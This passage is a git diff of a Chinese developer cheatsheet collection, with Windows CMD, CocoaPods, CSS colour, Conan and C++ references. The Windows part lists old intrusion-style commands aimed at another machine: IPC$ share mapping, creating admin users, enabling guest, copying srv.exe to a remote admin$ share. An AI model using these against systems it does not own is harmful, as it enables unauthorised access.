`net use h: ipc$` | 登陆后映射对方C:到本地为H:
|
||||
`net use ipipc$ /del` | 删除IPC链接
|
||||
`net use h: /del` | 删除映射对方到本地的为H:的映射
|
||||
`net user 用户名 密码 /add` | 建立用户
|
||||
`net user guest /active:yes` | 激活guest用户
|
||||
`net user` | 查看有哪些用户
|
||||
`net user 帐户名` | 查看帐户的属性
|
||||
`net localgroup administrators 用户名 /add` | 把“用户”添加到管理员中使其具有管理员权限
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### net 命令(二)
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`net start` | 查看开启了哪些服务
|
||||
`net start 服务名` | 开启服务;(如:net start telnet, net start schedule)
|
||||
`net stop 服务名` | 停止某服务
|
||||
`net time 目标ip` | 查看对方时间
|
||||
`net view` | 查看本地局域网内开启了哪些共享
|
||||
`net view ip` | 查看对方局域网内开启了哪些共享
|
||||
`net config` | 显示系统网络设置
|
||||
`net pause 服务名` | 暂停某服务
|
||||
`net send ip “文本信息”` | 向对方发信息
|
||||
`net ver` | 局域网内正在使用的网络连接类型和信息
|
||||
`net share` | 查看本地开启的共享
|
||||
`net share ipc$ /del` | 删除ipc$共享
|
||||
`net share c$ /del` | 删除C:共享
|
||||
`net user guest 12345` | 用guest用户登陆后用将密码改为12345
|
||||
`net password 密码` | 更改系统登陆密码
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### ping 命令
|
||||
<!--rehype:wrap-class=row-span-2 col-span-2-->
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`-d` | 使用 Socket 的 SO_DEBUG 功能
|
||||
`-c<完成次数>` | 设置完成要求回应的次数
|
||||
`-f` | 极限检测
|
||||
`-i<间隔秒数>` | 指定收发信息的间隔时间
|
||||
`-I<网络界面>` | 使用指定的网络界面送出数据包
|
||||
`-l<前置载入>` | 设置在送出要求信息之前,先行发出的数据包
|
||||
`-n` | 只输出数值
|
||||
`-p<范本样式>` | 设置填满数据包的范本样式
|
||||
`-q` | 不显示指令执行过程,开头和结尾的相关信息除外
|
||||
`-r` | 忽略普通的Routing Table,直接将数据包送到远端主机上
|
||||
`-R` | 记录路由过程
|
||||
`-s<数据包大小>` | 设置数据包的大小
|
||||
`-t<存活数值>` | 设置存活数值TTL的大小
|
||||
`-v` | 详细显示指令的执行过程
|
||||
|
||||
### tracert 命令
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`-d` | 不将地址解析成主机名
|
||||
`-h maximum_hops` | 搜索目标的最大跃点数,默认30
|
||||
`-w timeout` | 等待每个回复的超时时间(以毫秒为单位)
|
||||
`-R` | 跟踪往返行程路径(仅适用于 IPv6)
|
||||
`-S srcaddr` | 要使用的源地址(仅适用于 IPv6)
|
||||
`-4` | 强制使用 IPv4
|
||||
`-6` | 强制使用 IPv6
|
||||
|
||||
### netstat 命令
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`netstat -a` | 查看开启了哪些端口,常用netstat -an
|
||||
`netstat -n` | 查看端口的网络连接情况,常用netstat -an
|
||||
`netstat -v` | 查看正在进行的工作
|
||||
`netstat -p 协议名` | 例:netstat -p tcq/ip 查看某协议使用情况
|
||||
`netstat -s` | 查看正在使用的所有协议使用情况
|
||||
`nbtstat -A ip` | 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名
|
||||
|
||||
启动程序
|
||||
--------
|
||||
|
||||
### 启动程序(一)
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`appwiz.cpl` | 程序和功能
|
||||
`calc` | 启动计算器
|
||||
`certmgr.msc` | 证书管理实用程序
|
||||
`charmap` | 启动字符映射表
|
||||
`chkdsk.exe` | Chkdsk磁盘检查(管理员身份运行命令提示符)
|
||||
`cleanmgr` | 打开磁盘清理工具
|
||||
`cliconfg` | SQL SERVER 客户端网络实用工具
|
||||
`cmstp` | 连接管理器配置文件安装程序
|
||||
`compmgmt.msc` | 计算机管理
|
||||
`omexp.msc` | 打开系统组件服务
|
||||
`control` | 控制面版
|
||||
|
||||
### 启动程序(二)
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`dcomcnfg` | 打开系统组件服务
|
||||
`devmgmt.msc` | 设备管理器
|
||||
`diskmgmt.msc` | 磁盘管理
|
||||
`eventvwr` | 事件查看器
|
||||
`explorer` | 打开资源管理器
|
||||
`Firewall.cpl` | Windows防火墙
|
||||
`fsmgmt.msc` | 共享文件夹管理器
|
||||
`hdwwiz.cpl` | 设备管理器
|
||||
`lusrmgr.msc` | 本地用户和组
|
||||
`Msra` | 远程协助
|
||||
`mstsc` | 远程桌面连接
|
||||
`notepad` | 打开记事本
|
||||
`shrpubw` | 创建共享文件夹
|
||||
|
||||
### 自动关机
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`shutdown -s -t 600` | 表示600秒后自动关机
|
||||
`shutdown -a` | 可取消定时关机
|
||||
`shutdown -r -t 600` | 表示600秒后自动重启
|
||||
`rundll32 user32.dll, LockWorkStation` | 表示锁定计算机
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
其他
|
||||
--------
|
||||
|
||||
### (一)
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`ipconfig (winipcfg)` | 查看本地ip,可加/all
|
||||
`kill -F 进程名` | 加-F参数后强制结束某进程
|
||||
`del -F 文件名` | 加-F参数可删除只读文件
|
||||
`move 源路径文件 目的路径` | 移动文件,可修改文件名
|
||||
`fc one.txt two.txt > 3st.txt` | 对比文件并输出到3st.txt
|
||||
`finger username @host` | 查看最近用户登陆
|
||||
`telnet` | 进入本机的telnet
|
||||
`telnet ip 端口` | 远程登陆服务器,默认端口为23
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### (二)
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`copy c:srv.exe ipadmin$` | 复制本地c:srv.exe到对方的admin下
|
||||
`set` | 显示当前所有的环境变量
|
||||
`set 环境变量名称=变量的字符` | 添加环境变量
|
||||
`set p(或其它字符)` | 显示出当前以字符p(或其它字符)开头的所有环境变量
|
||||
`pause` | 暂停批处理程序,并显示出:请按任意键继续…
|
||||
`echo on/off` | 打开或关闭echo,仅用echo不加参数则显示当前echo设置
|
||||
`echo 信息` | 在屏幕上显示出信息
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### (三)
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`echo 信息 >> pass.txt` | 将"信息"保存到pass.txt文件中
|
||||
`findstr “Hello” aa.txt` | 在aa.txt文件中寻找字符串hello
|
||||
`find 文件名` | 查找某文件
|
||||
`regedit /s` | 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示
|
||||
`regedit /e` | 注册表文件名 导出注册表
|
||||
`cacls 文件名` | 查看文件的访问用户权限列表
|
||||
`REM 文本内容` | 在批处理文件中添加注解
|
||||
`netsh` | 查看或更改本地网络配置情况
|
||||
<!--rehype:className=style-list-->
|
261
docs/cocoapods.md
Normal file
261
docs/cocoapods.md
Normal file
@ -0,0 +1,261 @@
|
||||
CocoaPods 备忘清单
|
||||
===
|
||||
|
||||
[CocoaPods](https://en.wikipedia.org/wiki/Cron) 是 [Swift](./swift.md) 和 Objective-C Cocoa 项目的依赖管理器,此快速参考备忘单显示了它的常用命令使用清单。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 安装
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ sudo gem install cocoapods
|
||||
```
|
||||
|
||||
无 Sudo 安装,不想为此过程授予 `RubyGems` 管理员权限
|
||||
|
||||
```bash
|
||||
export GEM_HOME=$HOME/.gem
|
||||
export PATH=$GEM_HOME/bin:$PATH
|
||||
```
|
||||
|
||||
编辑 `.bash_profile` 配置文件,添加上面内容
|
||||
|
||||
```bash
|
||||
$ gem install cocoapods --user-install
|
||||
$ gem which cocoapods
|
||||
/Users/wcj/.gem/ruby/2.0.0/gems/cocoapods-0.29.0/lib/cocoapods.rb
|
||||
$ /Users/wcj/.gem/ruby/2.0.0/bin/pod install
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 更新 CocoaPods
|
||||
|
||||
```bash
|
||||
$ gem install cocoapods
|
||||
```
|
||||
|
||||
或者对于预发布版本
|
||||
|
||||
```bash
|
||||
$ gem install cocoapods --pre
|
||||
```
|
||||
|
||||
### 安装
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ pod install
|
||||
```
|
||||
|
||||
在您的项目中安装新的 `pod`,即使你已经有一个 `Podfile` 并且之前运行过 `pod install`; 因此,即使您只是在已经使用 `CocoaPods` 的项目中添加/删除 `pod`
|
||||
|
||||
- 会在 `Podfile.lock` 文件中为每个 pod 写入已安装的版本,此文件跟踪每个 pod 的已安装版本并锁定这些版本
|
||||
- 它只会解析 `Podfile.lock` 中尚未列出的 pod 的依赖关系
|
||||
- 对于 `Podfile.lock` 中列出的 pod,会下载 `Podfile.lock` 中列出的显式版本,而不尝试检查是否有更新的版本可用
|
||||
|
||||
下载 `Podfile` 中定义的所有依赖项,并在 `./Pods` 中创建一个 `Xcode Pods` 库项目
|
||||
|
||||
### 更新过时的依赖
|
||||
|
||||
```bash
|
||||
$ pod outdated
|
||||
```
|
||||
|
||||
显示当前 `Podfile.lock` 中过时的 `pod`,但仅显示来自规范 `repos` 的那些,而不是来自本地/外部来源的那些
|
||||
|
||||
### 更新依赖
|
||||
|
||||
```bash
|
||||
$ pod update
|
||||
$ pod update PODNAME
|
||||
```
|
||||
|
||||
更新由指定 `pod` 名称标识的 `Pod`。 如果没有指定 `Pod` 名称,它会更新所有 `Pod`,而忽略 `Podfile.lock` 的内容。 此命令保留用于更新依赖项,应使用 `pod install` 安装对 `Podfile` 的更改
|
||||
|
||||
### 清理 Pods 依赖
|
||||
|
||||
```bash
|
||||
$ pod deintegrate
|
||||
```
|
||||
|
||||
从 `CocoaPods` 中分离您的项目。 从您的 `Xcode` 项目中删除所有 `CocoaPods` 的痕迹。如果未指定 `xcodeproj`,则将在当前目录中搜索 `Xcode` 项目
|
||||
|
||||
### pod env
|
||||
|
||||
```bash
|
||||
$ pod env
|
||||
```
|
||||
|
||||
显示 pod 环境
|
||||
|
||||
### 将 Pod 添加到 Xcode 项目
|
||||
|
||||
- 创建一个 Podfile,并添加您的依赖项
|
||||
|
||||
```ruby
|
||||
# Podfile
|
||||
target 'MyApp' do
|
||||
pod 'AFNetworking', '~> 3.0'
|
||||
pod 'FBSDKCoreKit', '~> 4.9'
|
||||
end
|
||||
```
|
||||
|
||||
- 在您的项目目录中运行 `$ pod install`
|
||||
- 打开 `App.xcworkspace` 并构建
|
||||
<!--rehype:className=style-timeline-->
|
||||
|
||||
### 创建一个新的 Cocoapod
|
||||
|
||||
命令 | 说明
|
||||
:-- | --
|
||||
`pod lib create pod_name` | 为您创建一个新的 pod 项目
|
||||
`pod trunk push pod_name.podspec` | 将 podspec 推送到 trunk
|
||||
`pod spec create pod_name` | 为您创建 podspec 模板
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### 浏览
|
||||
|
||||
- `pod search QUERY` 搜索名称、摘要、描述或作者与 QUERY 匹配的 pod,忽略大小写。 如果指定了 --simple 选项,这将只搜索 pod 的名称
|
||||
- `pod list` 列出所有可用的 pod
|
||||
- `pod try NAME|URL` 下载具有给定名称(或 Git URL)的 Pod,如果需要,安装其依赖项并打开其演示项目。 如果提供了 Git URL,则使用 repo 的头部。 如果指定了 Git URL,则可以提供 --podspec_name,如果 podspec 名称由于某种原因与 git 存储库不同
|
||||
|
||||
### 规格
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
- `pod spec create [NAME\|https://github.com/USER/REPO]` 在当前工作目录中创建一个名为 NAME.podspec 的 PodSpec。如果传递了 GitHub url,则预先填充规范。
|
||||
- `pod spec lint [NAME.podspec|DIRECTORY|http://PATH/NAME.podspec ...]` 验证 NAME.podspec。 如果提供了 DIRECTORY,它会验证找到的 podspec 文件,包括子文件夹。 如果省略参数,则默认为当前工作目录。
|
||||
- `pod spec cat [QUERY]` 将名称与 QUERY 匹配的 podspec 的内容打印到标准输出。
|
||||
- `pod spec which [QUERY]` 打印名称与 QUERY 匹配的 .podspec 文件的路径
|
||||
- `pod spec edit [QUERY]` 打开要编辑的与 QUERY 匹配的 podspec。
|
||||
|
||||
### Repos
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
命令 | 说明
|
||||
:-- | --
|
||||
`pod repo add NAME URL [BRANCH]` | 在 `~/.cocoapods/repos/` 的本地 spec-repos 目录中克隆 URL。远程可以稍后由 NAME 引用
|
||||
`pod repo update [NAME]` | 更新 spec-repo NAME 的本地克隆。如果 NAME 被省略,这将更新 ~/.cocoapods/repos 中的所有 spec-repos
|
||||
`pod repo lint [NAME\|DIRECTORY]` | 对 spec-repo NAME 进行 lints。如果提供了目录,则假定它是存储库的根目录。最后,如果没有提供 NAME,这将 lint CocoaPods 已知的所有规范库
|
||||
`pod repo list` | 从 `~/.cocoapods/repos/` 的本地 spec-repos 目录中列出 repos
|
||||
`pod repo remove NAME` | 从 `~/.cocoapods/repos/` 的本地 spec-repos 目录中删除名为 NAME 的远程
|
||||
`pod repo push REPO [NAME.podspec]` | 验证当前工作目录中的 `NAME.podspec` 或 \*.podspec,在 REPO 的本地副本 (`~/.cocoapods/repos/[REPO]`) 中为 pod 创建目录和版本文件夹,将 podspec 文件复制到版本中目录,最后它将 REPO 推送到其远程
|
||||
`pod setup` | 在 `~/.cocoapods/repos` 创建一个目录,该目录将保存您的规范存储库。它将在这里创建公共主规范仓库的克隆:<https://github.com/CocoaPods/Specs> 如果克隆已经存在,它将确保它是最新的
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
### Trunk
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
- `pod trunk add-owner POD OWNER-EMAIL` 将具有指定 OWNER-EMAIL 的注册用户添加为给定 POD 的 `owner`
|
||||
- `pod trunk info NAME` 返回有关 Pod 的信息
|
||||
- `pod trunk me` 包括有关您的注册的信息,然后是您的所有会话
|
||||
- `pod trunk push [PATH]` 在 PATH 发布 podspec 以使其可供 `master` 规范存储库的所有用户使用
|
||||
- `pod trunk register EMAIL [NAME]` 注册一个新帐户,或创建一个新会话
|
||||
- `pod trunk remove-owner POD OWNER-EMAIL` 将具有指定 OWNER-EMAIL 的用户从给定 POD 的 owner 中移除
|
||||
- `pod trunk deprecate NAME` 弃用 pod
|
||||
- `pod trunk delete NAME VERSION` *警告*:删除其他人所依赖的 Pod 版本通常被认为是不良行为!请考虑改用 <red>`deprecate`</red> 命令
|
||||
|
||||
什么是 Podfile?
|
||||
---
|
||||
|
||||
### 简单配置
|
||||
|
||||
```ruby
|
||||
target 'MyApp' do
|
||||
use_frameworks!
|
||||
pod 'Alamofire', '~> 3.0'
|
||||
end
|
||||
```
|
||||
|
||||
Podfile 可以非常简单,这会将 Alamofire 添加到单个目标
|
||||
|
||||
### 添加测试
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```ruby
|
||||
source 'https://github.com/CocoaPods/Specs.git'
|
||||
source 'https://github.com/Artsy/Specs.git'
|
||||
|
||||
platform :ios, '9.0'
|
||||
inhibit_all_warnings!
|
||||
|
||||
target 'MyApp' do
|
||||
pod 'GoogleAnalytics', '~> 3.1'
|
||||
|
||||
# 拥有自己的 OCMock 副本
|
||||
# 并且可以通过应用访问 GoogleAnalytics
|
||||
# 承载测试目标
|
||||
|
||||
target 'MyAppTests' do
|
||||
inherit! :search_paths
|
||||
pod 'OCMock', '~> 2.0.1'
|
||||
end
|
||||
end
|
||||
|
||||
post_install do |installer|
|
||||
installer.pods_project.targets.each do |target|
|
||||
puts target.name
|
||||
end
|
||||
end
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
链接应用程序及其测试包的更复杂 Podfile 的示例
|
||||
|
||||
### 指定 pod 版本
|
||||
|
||||
在开始一个项目时,希望使用最新版本的 Pod。这种情况,只需忽略版本要求
|
||||
|
||||
```ruby
|
||||
pod 'SSZipArchive'
|
||||
```
|
||||
|
||||
稍后在项目中,您可能希望冻结到特定版本的 Pod,在这种情况下,您可以指定该版本号
|
||||
|
||||
```ruby
|
||||
pod 'Objection', '0.9'
|
||||
```
|
||||
|
||||
### 隐式抽象目标
|
||||
|
||||
Podfile 的根目录存在隐式抽象目标,因此您可以将上面的示例编写为
|
||||
|
||||
```ruby
|
||||
pod 'ShowsKit'
|
||||
pod 'Fabric'
|
||||
|
||||
# 拥有自己的 ShowsKit + ShowWebAuth 副本
|
||||
target 'ShowsiOS' do
|
||||
pod 'ShowWebAuth'
|
||||
end
|
||||
|
||||
# 拥有自己的 ShowsKit + ShowTVAuth 副本
|
||||
target 'ShowsTV' do
|
||||
pod 'ShowTVAuth'
|
||||
end
|
||||
```
|
||||
|
||||
### 多个目标共享同一个 pod
|
||||
|
||||
```ruby
|
||||
# 在任何 Xcode 项目中都没有名为“Shows”的目标
|
||||
abstract_target 'Shows' do
|
||||
pod 'ShowsKit'
|
||||
pod 'Fabric'
|
||||
# 拥有自己的 ShowsKit + ShowWebAuth 副本
|
||||
target 'ShowsiOS' do
|
||||
pod 'ShowWebAuth'
|
||||
end
|
||||
# 拥有自己的 ShowsKit + ShowTVAuth 副本
|
||||
target 'ShowsTV' do
|
||||
pod 'ShowTVAuth'
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [CocoaPods 官方网站](https://cocoapods.org/) *(cocoapods.org)*
|
||||
- [Cocoapods Cheatsheet](https://github.com/SebastianBoldt/Cocoapods-Cheatsheet) *(github.com)*
|
@ -6,6 +6,8 @@ CSS 定义了一大组[命名颜色](https://www.w3.org/TR/css-color-4/#named-co
|
||||
Named Colors
|
||||
---
|
||||
|
||||
<!-- markdownlint-disable MD038 -->
|
||||
|
||||
### 颜色列表
|
||||
<!--rehype:wrap-class=col-span-3&style=display:none;&wrap-style=padding-top: 0;-->
|
||||
|
||||
@ -760,7 +762,6 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 150° Green-Cyans
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -880,7 +881,6 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 180° Cyans
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -1000,7 +1000,6 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 210° Cyan-Blues
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -1120,7 +1119,6 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 240° blues
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -1240,7 +1238,6 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 270° Blue-Magentas
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -1360,7 +1357,6 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 300° Magentas
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -1480,7 +1476,6 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 330° Magenta-Reds
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -1600,9 +1595,8 @@ HSL 颜色示例
|
||||
</table>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [CSS 备忘清单](./css.md)
|
||||
- [Named Colors](https://www.w3.org/TR/css-color-4/#named-colors) _(w3.org)_
|
||||
- [Named Colors](https://www.w3.org/TR/css-color-4/#named-colors) _(w3.org)_
|
||||
|
227
docs/conan.md
Normal file
227
docs/conan.md
Normal file
@ -0,0 +1,227 @@
|
||||
Conan 备忘清单
|
||||
===
|
||||
|
||||
这个 [Conan](https://conan.io/) 快速参考备忘清单显示了它的常用命令使用清单
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
Conan 是开源、去中心化和多平台的软件包,管理器来创建和共享您的所有本机二进制文件
|
||||
|
||||
- [Conan 官网](https://conan.io/)
|
||||
|
||||
#### 安装
|
||||
|
||||
```bash
|
||||
$ pip install conan
|
||||
$ pip install conan --upgrade
|
||||
```
|
||||
|
||||
初始化配置文件
|
||||
|
||||
```bash
|
||||
$ conan config init
|
||||
```
|
||||
|
||||
### 显示本地客户端配置
|
||||
|
||||
Conan 应用配置
|
||||
|
||||
```bash
|
||||
# 查看 Conan 主目录
|
||||
$ conan config home
|
||||
# 显示部分或全部配置项
|
||||
$ conan config get [<section>.<config>]
|
||||
# 显示完整的 conan.conf 文件
|
||||
$ conan config get
|
||||
# 在“日志”部分显示“级别”项
|
||||
$ conan config get log.level
|
||||
```
|
||||
|
||||
配置文件的内容(例如默认值)
|
||||
|
||||
```bash
|
||||
$ conan profile show default
|
||||
```
|
||||
|
||||
远程存储库
|
||||
|
||||
```bash
|
||||
$ conan remote list
|
||||
```
|
||||
|
||||
### 添加和修改配置
|
||||
|
||||
安装配置集合
|
||||
|
||||
```bash
|
||||
$ conan config install <url>
|
||||
$ conan config install ./my_config.conf
|
||||
```
|
||||
|
||||
更改单个配置值
|
||||
|
||||
```bash
|
||||
$ conan config set general.revisions_enabled=1
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
添加遥控器
|
||||
|
||||
```bash
|
||||
$ conan remote add my_remote <url>
|
||||
```
|
||||
|
||||
提供远程凭据
|
||||
|
||||
```bash
|
||||
$ conan user -p <password> -r my_remote <username>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 显示来自 inspect 或 reference 的信息
|
||||
|
||||
显示 `conanfile.py` 的属性
|
||||
|
||||
```bash
|
||||
$ conan inspect <path> -a <attribute>
|
||||
```
|
||||
|
||||
显示 `conanfile.py` 的内容以供参考
|
||||
|
||||
```bash
|
||||
$ conan get <reference>
|
||||
```
|
||||
|
||||
显示 `recipe` 的依赖关系图信息
|
||||
|
||||
```bash
|
||||
$ conan info <path_or_reference>
|
||||
```
|
||||
|
||||
### 搜索包
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
在远程搜索包
|
||||
|
||||
```bash
|
||||
# 列出本地缓存中的包名称
|
||||
$ conan search
|
||||
$ conan search <package>/<revision>@<user>/<channel> # 输出取决于给出了多少包引用。
|
||||
# 支持通配符
|
||||
[--table=file.html] # 将输出保存在 HTML 文件中
|
||||
[-r=<remote>] # 查看远程存储库(默认为本地缓存)
|
||||
|
||||
$ conan search mylib/1.0@user/channel # 显示本地缓存中 mylib/1.0@user/channel 的所有包
|
||||
$ conan search "zlib/*" -r=all # 在所有远程中显示所有版本的 zlib
|
||||
|
||||
$ conan search zlib -r conan-center
|
||||
|
||||
# 显示包的修订:
|
||||
$ conan search <package>/<revision>@<user>/<channel> --revisions
|
||||
```
|
||||
|
||||
### 安装包
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
仅使用参考安装包
|
||||
|
||||
```bash
|
||||
$ conan install <package_reference>
|
||||
```
|
||||
|
||||
从 conanfile 安装软件包列表
|
||||
|
||||
```bash
|
||||
$ cat conanfile.txt
|
||||
[requires]
|
||||
zlib/1.2.11
|
||||
$ conan install <path_to_conanfile>
|
||||
```
|
||||
|
||||
通过生成器在构建系统中使用包
|
||||
|
||||
```bash
|
||||
$ cat conanfile.txt
|
||||
[requires]
|
||||
zlib/1.2.11
|
||||
[generators]
|
||||
cmake_find_package
|
||||
msbuild
|
||||
make
|
||||
```
|
||||
|
||||
安装需求并生成文件
|
||||
|
||||
```bash
|
||||
$ mkdir build && cd build
|
||||
$ conan install ..
|
||||
```
|
||||
|
||||
运行您的构建系统(以下之一)
|
||||
|
||||
```bash
|
||||
$ cmake .. && cmake --build .
|
||||
$ msbuild myproject.sln
|
||||
$ make
|
||||
```
|
||||
|
||||
### 创建一个包
|
||||
|
||||
从模板创建配方 (conanfile.py)
|
||||
|
||||
```bash
|
||||
$ conan new <reference> -m <template>
|
||||
```
|
||||
|
||||
只需将配方导出到本地缓存
|
||||
|
||||
```bash
|
||||
$ conan export <path_to_conanfile>
|
||||
```
|
||||
|
||||
从 recipe 为一种配置创建包
|
||||
也隐含地安装和导出步骤
|
||||
|
||||
```bash
|
||||
$ conan create . -pr <profile>
|
||||
```
|
||||
|
||||
### 检查包裹
|
||||
|
||||
完整打印包装配方:
|
||||
|
||||
```bash
|
||||
$ conan get <package>/<revision>@<user>/<channel>
|
||||
$ conan get boost/1.74.0
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
包装配方的打印属性:
|
||||
|
||||
```bash
|
||||
$ conan inspect <package>/<revision>@<user>/<channel>
|
||||
$ conan inspect boost/1.74.0
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
请参阅 [conan get](https://docs.conan.io/en/latest/reference/commands/consumer/get.html) 和 [conan inspect](https://docs.conan.io/en/latest/reference/commands/misc/inspect.html) 参考
|
||||
|
||||
### Lockfiles
|
||||
|
||||
创建一个锁文件:
|
||||
|
||||
```bash
|
||||
$ conan lock create <package>/conanfile.py --user=<user> --channel=<channel>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
在 `conan create` 或 `conan install` 期间使用 lockfile:
|
||||
|
||||
```bash
|
||||
$ conan <command> --lockfile conan.lock
|
||||
```
|
||||
|
||||
查看 [conan lock](https://docs.conan.io/en/latest/reference/commands/misc/lock.html) 参考
|
792
docs/cpp.md
Normal file
792
docs/cpp.md
Normal file
@ -0,0 +1,792 @@
|
||||
C++ 备忘清单
|
||||
===
|
||||
|
||||
提供基本语法和方法的 [C++](https://zh.cppreference.com/) 快速参考备忘单
|
||||
|
||||
入门
|
||||
--------
|
||||
|
||||
### hello.cpp
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
int main() {
|
||||
std::cout << "Hello Quick Reference\n";
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
编译运行
|
||||
|
||||
```shell
|
||||
$ g++ hello.cpp -o hello
|
||||
$ ./hello
|
||||
Hello Quick Reference
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
```cpp
|
||||
int number = 5; // 整数
|
||||
float f = 0.95; // 浮点数
|
||||
double PI = 3.14159; // 浮点数
|
||||
char yes = 'Y'; // 特点
|
||||
std::string s = "ME"; // 字符串(文本)
|
||||
bool isRight = true; // 布尔值
|
||||
// 常量
|
||||
const float RATE = 0.8;
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
int age {25}; // 自 C++11
|
||||
std::cout << age; // 打印 25
|
||||
```
|
||||
|
||||
### 原始数据类型
|
||||
|
||||
数据类型 | 大小 | 范围
|
||||
:- | -- | --
|
||||
`int` | 4 bytes | -2<sup>31</sup> 到 2<sup>31</sup>-1
|
||||
`float` | 4 bytes | _N/A_
|
||||
`double` | 8 bytes | _N/A_
|
||||
`char` | 1 byte | -128 到 127
|
||||
`bool` | 1 byte | `true` / `false`
|
||||
`void` | _N/A_ | _N/A_
|
||||
`wchar_t` | 2 到 4 bytes | 1 个宽字符
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 用户输入
|
||||
|
||||
```cpp
|
||||
int num;
|
||||
std::cout << "Type a number: ";
|
||||
std::cin >> num;
|
||||
std::cout << "You entered " << num;
|
||||
```
|
||||
|
||||
### 交换
|
||||
|
||||
```cpp
|
||||
int a = 5, b = 10;
|
||||
std::swap(a, b);
|
||||
// 输出: a=10, b=5
|
||||
std::cout << "a=" << a << ", b=" << b;
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```cpp
|
||||
// C++中的单行注释
|
||||
/* 这是一个多行注释
|
||||
在 C++ 中 */
|
||||
```
|
||||
|
||||
### If 语句
|
||||
|
||||
```cpp
|
||||
if (a == 10) {
|
||||
// do something
|
||||
}
|
||||
```
|
||||
|
||||
查看: [条件](#c-条件)
|
||||
|
||||
### 循环
|
||||
|
||||
```cpp
|
||||
for (int i = 0; i < 10; i++) {
|
||||
std::cout << i << "\n";
|
||||
}
|
||||
```
|
||||
|
||||
查看: [循环 Loops](#c-循环)
|
||||
|
||||
### 函数
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
|
||||
void hello(); // 声明
|
||||
|
||||
int main() { // 主函数
|
||||
hello(); // 执行函数
|
||||
}
|
||||
|
||||
void hello() { // 定义
|
||||
std::cout << "Hello Quick Reference!\n";
|
||||
}
|
||||
```
|
||||
|
||||
查看: [函数 Functions](#c-函数)
|
||||
|
||||
### 引用
|
||||
|
||||
```cpp
|
||||
int i = 1;
|
||||
int& ri = i; // ri 是对 i 的引用
|
||||
ri = 2; // i 现在改为 2
|
||||
std::cout << "i=" << i;
|
||||
i = 3; // i 现在改为 3
|
||||
std::cout << "ri=" << ri;
|
||||
```
|
||||
|
||||
`ri` 和 `i` 指的是相同的内存位置
|
||||
|
||||
### 命名空间
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
